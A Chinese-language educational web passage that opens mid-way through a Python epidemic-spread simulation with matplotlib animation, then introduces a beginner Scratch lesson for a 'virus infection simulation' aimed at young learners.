sample_data[i][(j << 1) - 2]y1 = sample_data[i][(j << 1) - 1]tmpx = np.random.uniform(max(0, x1 - Move_dis), min(1, x1 + Move_dis))tmpl = np.sqrt(Move_dis * Move_dis - (x1 - tmpx) * (x1 - tmpx))tmpy = np.random.uniform(max(0, y1 - tmpl), min(1, y1 + tmpl))sample_data[i][j << 1] = tmpxsample_data[i][j << 1 | 1] = tmpy# 第1列作为标志位：1表⽰已感染（红⾊），0表⽰未感染（绿⾊）sample_flag = np.zeros(len(sample_data))sample_data = np.insert(sample_data, 0, values=sample_flag, axis=1)# 随机产⽣⼀个感染者，并将标志位设为0（红⾊）seed = np.random.randint(0, SAMPLE_NUM, 1)sample_data[seed, 0] = 1sufftime[seed] = 1# 创建⼀个绘图窗⼝对象fig = plt.figure()# 初始化画散列点函数scat = plt.scatter(sample_data[:, 1], sample_data[:, 2], s=5, marker='o')# 设置折线图# 患病x = np.array([i for i in range(0, INFECTION_DAYS + 1)])yy1 = np.zeros(INFECTION_DAYS + 1)yy1[0] = 0# 收治yy2 = np.zeros(INFECTION_DAYS + 1)yy2[0] = 0# 死亡yy3 = np.zeros(INFECTION_DAYS + 1)yy3[0] = 0stepp = np.array([i for i in range(SAMPLE_NUM)])def init():# 输出当前感染⼈数print(u"第{}天 => 被感染⼈数：{}".format(1, 1))# 根据不同的标签，显⽰当前感染者map_color = {1: 'r', 0: 'g'}color = list(map(lambda c: map_color[c], sample_data[:, 0]))scat.set_color(color)scat.set_offsets(sample_data[:, 1:3])# 定义更新数据点的函数def update(n):# 使⽤全局变量global sufftimeglobal Dedperglobal Receiveglobal hossuffglobal yy1global yy2global yy3# 外层循环为得到当前感染者，获取索引及当前感染者对应的位置坐标it = np.nditer(np.argwhere(sample_data == 1), flags=['f_index'])while not it.finished:if it[0] != 1:# 计算该感染者与其他点的距离，两者距离⼩于设定值表⽰有可能被感染# 两者距离⼩于设定值时有概率感染，设防疫措施x表⽰当满⾜条件时有x%感染， for i in range(0, SAMPLE_NUM):# 计算两点间距离，感染者坐标 - 其他点坐标p = sample_data[it[0], n:n + 2] - sample_data[i, n:n + 2]d = math.hypot(p[0], p[1])# 距离⼩于设定阈值表⽰感染同時运⽓不太好..，置0if d <= INFECTION_DISTANCE and np.random.randint(100) < EpLevel:sample_data[i, 0] = 1it.iternext()# 开始收治# 根据已经超过潜伏期的⼈员按照患病时间先后收治cnt = recen# 先根据患病时间排序，保留索引temp = np.argsort(sufftime)# 取出时间⼤于潜伏期的temp = temp[sufftime[temp] > mgs]for item in temp:# 能够收治并且未被收治以及未死亡if cnt != 0 and Receive[item] == 0 and Dedper[item] == 0:cnt = cnt - 1Receive[item] = 1else:break# 被收治的患者就当就地隔离好了..，覆盖之后的坐标为当前坐标，出院后再做考虑for item in temp[Receive[temp] == 1]:for j in range(n, INFECTION_DAYS * 2 + 1):sample_data[item][j] = sample_data[item][j - 2]tempp1 = np.sum(sample_data[:, 0] == 1)tempp2 = np.sum(Receive[:] == 1)tempp3 = np.sum(Dedper[:] == 1)tday = n // 2 + 1yy1[tday] = tempp1yy2[tday] = tempp2yy3[tday] = tempp3# 输出当前感染⼈数print(u"第{}天 => 被感染⼈数：{} => 被收治总⼈数:{} =>死亡总⼈数:{}".format(tday, tempp1, tempp2, tempp3))# 根据不同的标签，显⽰当前感染者map_color = {0: 'g', 1: 'r', 2: 'yellow', 3: 'black'}color = list(map(lambda c: map_color[c], list(map(gc, stepp))))scat.set_color(color)scat.set_offsets(sample_data[:, n:n + 2])# ⼀天结束患病天数达到最⼤天数且未被收治的患者死亡并将坐标保持不变# 先筛选未收治患者且未被标记死亡的患者Dlist = np.argwhere(Receive == 0)Dlist = Dlist[Dedper[Dlist] == 0]# 再筛选患病达最⼤天数Dlist = Dlist[sufftime[Dlist] >= ltime]for item in Dlist:# 死亡tag标上Dedper[item] = 1# 将之后的坐标全部标为当前值for j in range(n, INFECTION_DAYS * 2 + 1):sample_data[item][j] = sample_data[item][j - 2]# 患者患病时间增加⼀天，被收治的患者患病时间满三⼗天运⽓好的出院不好的去世...出院的患者对于之后的坐标进⾏重写，不排除被再次感染的可能 sufftime = sufftime + sample_data[:, 0]# 被收治的患者住院时间增加⼀天hossuff = hossuff + np.where(Receive == 1, 1, 0)# 记录满⾜住院时长超过最长存活时长的患者temp_hos = np.argwhere(hossuff >= ltime)# ⽣死俄罗斯转盘....for i in temp_hos:Receive[i[0]] = 0 # 出院了hossuff[i[0]] = 0sample_data[i[0]][0] = 0if np.random.uniform(0, 1) < depe:# 即便得到合理的救治也没法的患者们Dedper[i[0]] = 1else:# 痊愈出院的患者重写之后的坐标sufftime[i[0]] = 0# SAMPLE_NUM[i[0]][0]=0for j in range(n // 2 + 1, INFECTION_DAYS):x1 = sample_data[i[0]][(j << 1) - 2]y1 = sample_data[i[0]][(j << 1) - 1]tmpx = np.random.uniform(max(0, x1 - Move_dis), min(1, x1 + Move_dis))tmpl = np.sqrt(Move_dis * Move_dis - (x1 - tmpx) * (x1 - tmpx))tmpy = np.random.uniform(max(0, y1 - tmpl), min(1, y1 + tmpl))sample_data[i[0]][j << 1] = tmpxsample_data[i[0]][j << 1 | 1] = tmpy# 动画显⽰ani = animation.FuncAnimation(fig, update, range(3, (INFECTION_DAYS * 2) + 1, 2),init_func=init, interval=500, repeat=0)plt.show()plt.figure()plt.plot(x,yy1, label="Infected_num")#感染⼈数plt.plot(x,yy2, label="Take_num")#收治⼈数plt.plot(x,yy3, label="Dead_num")#死亡⼈数plt.legend(loc='upper left')plt.show()。

【青少年编程】【三级】病毒传染模拟程序「青少年编程竞赛交流群」已成立（适合6至18周岁的青少年），公众号后台回复【Scratch】或【Python】，即可进入。

如果加入了之前的社群不需要重复加入。

微信后台回复“资料下载”可获取以往学习的材料（视频、代码、文档）。

病毒传染模拟程序1. 准备工作（1）删除小猫角色，绘制一个绿色的小圆圈角色，命名为“Person”，代表健康的人；（2）设置“人口总数”、“健康人数”、“感染人数”、“全部感染时间”变量。

2. 功能实现（1）当程序运行时，将角色“Person”设置为隐藏，将计时器归零；（2）使用克隆功能，克隆出20个健康的人，健康人出现在舞台随机位置，静止不动；（3）克隆1个人，将其颜色特效设置为“125”（红色），代表已感染人；（4）克隆出的感染人在舞台上面向随机的方向后，不断运动，当健康的人被碰到时，将会被感染，将它的颜色设置为“125”；（5）从第一个受感染者开始，使用计时器记录所有人被感染的时间，当所有人被感染时，停止计时；（6）变量“人口总数”始终为21，“健康人数”和“感染人数”不断改变，最后变量“全部感染时间”显示全部感染的时间。

3. 设计思路与实现（1）角色分析o角色：一个绿色的小圆圈角色，命名为“Person”，代表健康的人；（2）背景分析o背景：默认白色背景。

（3）所用积木块介绍「a. 运动类」o角色移动指定的步数，正数就是向前，负数就是向后。

o角色移动到随机位置，下拉可选“鼠标指针”或其他角色。

o将角色朝向某个指定的方向。

o角色碰到边缘后就往回走。

「b. 外观类」o在舞台中显示当前角色。

o在舞台中隐藏当前角色。

o将角色的颜色特效指定一个具体的值，下拉三角可以选择“鱼眼”，“漩涡”，“像素化”，“马赛克”，“亮度”，“虚像”「c. 事件类」o程序开始积木块。

o点击舞台区的绿旗，执行以绿旗开始的所有程序脚本。

「d. 控制类」o时间间隔，等待指定的时间后执行后面的指令。